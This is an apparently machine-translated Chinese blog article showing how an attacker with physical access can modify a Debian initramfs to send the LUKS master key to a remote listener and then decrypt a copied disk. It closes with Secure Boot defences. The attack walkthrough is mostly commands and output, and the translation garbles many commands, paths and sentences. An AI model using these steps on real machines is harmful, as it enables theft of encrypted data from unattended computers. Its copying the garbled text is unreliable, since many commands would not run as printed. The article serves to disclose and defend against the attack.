磁盘加密旨在保护计算机上的数据免遭未经授权的物理访问。 有一个普遍的误解,认为磁盘加密确实可以完成此任务,并且在这种情况下看起来不太奇特且不切实际。 本文表明,提取加密的
LUKS卷的主密钥在实践中很容易实现,并且提出了一种(很久以前)的保护方法。
问题的实质
我们还应该关注磁盘加密的目的。 确实,当不可能进行物理访问并且正在运行的系统拥有数据时,就没有问题。 系统本身的安全性可能存在问题,但是磁盘加密在这里无济于事。 当好奇的人有机会访问磁盘而无需通过系统时,例如将磁盘物理连接到其系统或将其OS加载到受检查的计算机上,磁盘加密应该保护数据。
物理访问方案是唯一有意义的磁盘加密方案。问题在于,攻击者可以悄悄地干预操作系统引导链,并迫使系统在下次启动时在接收到加密密钥后立即发出加密密钥。
这样的攻击只需要访问计算机的一种行为即可:从磁盘上复制数据,并替换启动电路,然后对其进行解密,直到出现密钥为止。 与未加密的磁盘相比,唯一的不便是您需要注意密钥的传输方式并等待其启动。
接下来,我们继续在实践中演示这种技术。 可能会发现,与实施该系统的所有者相比,攻击者所需的精力要少于系统所有者用于设置他的某些非常规方法(例如,远程地)解锁磁盘所花费的精力。
实际示范
我将以Debian 9的虚拟机为例进行演示,该虚拟机在系统安装过程中已启用磁盘加密。
通过加密安装Debian 9会创建一个引导分区和一个带有加密LVM的分区。 已安装系统的屏幕截图,要求提供解密密码以确保清晰度:

一切就绪,您可以继续。 关掉汽车,复制磁盘。 就我而言,它看起来像这样:
[root @ dt1〜]#virsh销毁debian9-boothack
debian9-boothack域被破坏
[root @ dt1〜]#cp -v /var/lib/libvirt/images/debian9-boothack.qcow2〜
'/var/lib/libvirt/images/debian9-boothack.qcow2'->'/root/debian9-boothack.qcow2'
安装机器的驱动器,解压缩initramdrive:
[root @ dt1〜]#mkdir / guest
[root @ dt1〜]#guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
[root @ dt1〜]#cp -v /guest/initrd.img-4.9.0-9-amd64〜用户/ tmp
'/guest/initrd.img-4.9.0-9-amd64'->'/home/user/tmp/initrd.img-4.9.0-9-amd64'
解压缩initramdrive:
[用户@ dt1 tmp] $ mkdir解压缩
[用户@ dt1 tmp] $ cd解压后的/
[用户@ dt1解压缩] $ zcat ../initrd.img-4.9.0-9-amd64 | cpio -idm
[用户@ dt1解压缩] $ ls
bin conf等init lib lib64运行sbin脚本
完成后,您可以编辑initramdrive。 知道机器具有永久的网络连接后,我想在打开磁盘后组织主密钥的加密发送。 为此,我需要:
- 通过网络进行加密发送的实用程序 。 将其添加到
/sbin
- 用于密钥提取和发送的Shell脚本 。 发送到
/scripts/local-top
并在cryptoroot
之后添加到/scripts/local-top/ORDER
cryptoroot
。 - 缺少的本机udhcpc事件处理脚本 ,可以使用内置工具直接在ramdrive中开始自动调整网络。 它应有的位置在
/etc/udhcpc/default.script
secsend可执行文件是静态构建的,以消除对任何库的依赖。 在正常情况下,程序集生成的输出文件为2.7 MB,与ramdrive的大小相比非常引人注目-未压缩形式为62兆字节,压缩形式为20兆字节。 但是,以最小的musl libc构建所有库和可执行文件时,UPX压缩后的输出文件大小约为250 KB和120 KB。 Secsend本身仅读取标准输入,使用指定的公共密钥Curve25519从libsodium使用密码箱对其进行加密,然后通过TCP将数据发送到指定的地址。 出于演示的主要目的,没有使用它,而是表明攻击者实际上是不受限制的:您可以运行执行攻击者想要的内容以及他想要的方式的代码。
添加这三个文件并编辑另一个文件后,您可以将所有内容打包,并将修改后的文件返回到其位置:
[用户@ dt1解压缩] $查找。 | cpio -o -c | gzip -9> ../initrd.img-4.9.0-9-amd64
125736块
[用户@ dt1解压缩] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / guest
'../initrd.img-4.9.0-9-amd64'->'/guest/initrd.img-4.9.0-9-amd64'
[用户@ dt1解压缩] $ sudo guestunmount / guest
将需要一些服务器来接收加密的主密钥,例如(Python 3.5.3+)。 通过使用密钥对的秘密部分启动它,我们等待有条件的受害者打开计算机:

当您打开带有加密磁盘的虚拟机时,一切看起来都像往常一样,没有任何变化:

但是在连接侦听器端,出现了一个秘密的主密钥:

从这一刻起,攻击者不再对具有数据的虚拟机及其具有加密密码知识的用户感兴趣。 我强调指出,更改密码短语不会更改用于加密整个卷的主密钥。 即使在复制和发送密钥之间以某种方式蠕动了密码短语的更改,这也不是障碍。 我们将使用主键打开音量。 为此,我们将其十六进制的日志条目转换为二进制文件:
[root @ dt1〜]#echo'fa0c53 *********** 4bd8c'| xxd -r -p> master.key
挂载带有副本的磁盘:
[root @ dt1〜]#modprobe nbd max_part = 8
[root @ dt1〜]#qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2
[root @ dt1〜]#ls / dev / nbd0 *
/ dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
[root @ dt1〜]#文件-s / dev / nbd0p5
/ dev / nbd0p5:LUKS加密文件,版本1 [aes,xts-plain64,sha256] UUID:fb732477-ef98-40b5-86a2-8526c349f031
[root @ dt1〜]#cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
[root @ dt1〜]#pvs
光伏VG Fmt Attr PSize PFree
/ dev / mapper / crackdisk debian9-boothack-vg lvm2 a-- 19.75g 0
/ dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
[root @ dt1〜]#lvs
LV VG Attr LSize池原始数据%Meta%移动日志Cpy%同步转换
根debian9-boothack-vg -wi-a ----- 18.75g
swap_1 debian9-boothack-vg -wi-a ----- 1.00克
根dt1 -wi-ao ---- 215.00g
[root @ dt1〜]#mkdir / hackedroot
[root @ dt1〜]#mount / dev / mapper / debian9-bootsack-vg-root / hackedroot /
[root @ dt1〜]#ls / hackedroot /
bin boot dev etc home initrd.img initrd.img.old lib lib64丢失+找到媒体mnt opt proc root运行sbin srv sys tmp usr var vmlinuz vmlinuz.old
[root @ dt1〜]#cat / hackedroot / etc /主机名
debian9-boothack
检索数据。
防护措施
可以得出结论,问题的根源是启动了不受信任的代码。 这是在此问题的背景下应考虑的技术的简短概述。
引导分区加密
某些发行版在安装期间也提供此功能(例如,OpenSuSE)。 在这种情况下,引导分区由引导加载程序解密,然后从中加载内核和initramdrive。 由于以下原因,这种方法没有多大意义:
- 代码欺骗最重要的问题仍然存在。 只有现在才需要更换引导加载程序。
- 对于启动分区,数据完整性不是更重要,而是数据完整性。 LUKS基本加密不提供此类保证。 这里的一些好处仅在于以下事实:很难在这样的加密分区上形成有意义的替换。
- 具有完整性检查(dm-integrity)的LUKS2加密也不能防止干扰,因为它不能保证抵御与扇区重播有关的攻击。 例如,转储此类分区并在其上进行引导加载程序配置,您仍然可以将内核恢复到先前复制的状态。 这在密钥提取问题上没有特别提供优势(除非旧内核易受攻击并且可以以某种方式使用),这是支持对引导分区进行加密的无用论据。
使用TPM存储加密密钥并验证安全启动环境
TPM本质上是一种加密处理器,可充当系统中的安全区域或智能卡。 用它加密的秘密数据只能使用它并且只能在其条件下解密-当系统的
PCR值收敛时,这取决于平台的状态和其中运行的代码。 该技术很有前途,可以让您在不需要密钥的情况下在系统中实现安全加密(例如,通过输入与加密无关的指纹或身份验证方法)。 理想情况下,它应与UEFI安全启动配合使用,在配置不收敛时禁止解密。
但是,在Linux中,TPM支持仍处于起步阶段。 TrustedGRUB2引导加载程序(适合与TPM配合使用的引导加载程序)不支持UEFI,并且整个想法从此消失了。 此外,可以正常工作的TPM 2.0的出现现在才开始出现在硬件中,通常伴随着BIOS更新。 大多数主板没有离散的TPM模块;相反,TPM是在Intel
ME内部实现的软件。 由于所有这些原因,我还认为这种配置不可行且不适合广泛使用。
使用UEFI安全启动以电子签名完全覆盖启动链
有发行版(Fedora,OpenSuSE)和单个解决方案,可让您在Linux中使用安全启动。 但是,盒装解决方案通常在负载链中不提供代码完整性。 它们的主要目的是确保在启用安全启动后仅启动Linux。 通常只使用由Microsoft证书签名的EFI填充程序,然后运行任何内容。 因此,在使用外部认证时,根本不可能覆盖直接在已安装系统中生成的磁盘驱动器的签名。
集线器上有一些文章建议使用您自己的
PKI来签名代码。 这使您可以自己签署所需的所有内容,从而覆盖整个UEFI链→引导加载程序→内核和intramdrive。
- 驯服UEFI SecureBoot-关于该主题的第一篇文章,非常详细。
- 我们在Linux中最大程度地使用了安全启动 -此处写得特别好,为什么带有已安装的Microsoft证书的安全启动等同于它不存在。
所需结果在第二篇文章中获得。 通过将ramdrive和内核合并到一个EFI应用程序中,而无需使用加载程序,即可实现内部驱动器签名,并且UEFI立即直接批量验证签名。 这两本手册都需要在每个受保护的系统上进行大量手动工作。
经济实惠的解决方案
我想出了一种
完整实施安全启动的
方法,该方法与公认的启动方案兼容,并且不需要对系统进行认真干预:单独的引导程序,单独的ramdrive,单独的内核。 UEFI仅验证GRUB2引导加载程序的签名,该引导加载程序具有带有密钥的有线配置,用于验证签名和管理员密码,然后检查内核和ramdrive。 签名的引导加载程序与旧的引导加载程序并行安装,并且如有必要,可以通过禁用安全引导以常规方式启动。 当然,应使用UEFI设置菜单中的管理员密码关闭此功能。
我决定使用自己的PKI自动化安全启动部署过程,并使其尽可能简单且独立于发行版。 结果就是Makefile配方和实用程序中的这样一个集合:
https :
//github.com/Snawoot/linux-secureboot-kit 。 对于debian,ubuntu,fedora和centos,整个过程只需要几个命令。
具体来说,以Debian 9为例,安装看起来像这样(假设UEFI已处于设置模式):
apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install
在此,所有命令均代表超级用户输入。 因此,仅需验证BIOS菜单中是否启用了安全启动并使用管理员密码保护BIOS设置。
这是在这种安装上尝试更换ramdrive的尝试:

更换引导加载程序(外观取决于平台):

总结
仅磁盘加密不足以确保数据隐私。 如果计算机操作员能够识别系统板甚至整个计算机的重置或欺骗,则使用UEFI安全启动和GPG对整个启动链进行签名可以使您获得良好的保护,以防止可执行代码欺骗。 否则,如果用户准备输入密码/将密钥转移到意外地落在桌子上或服务器机房中的任何机器上,则提供足够的保护方法是极其困难的。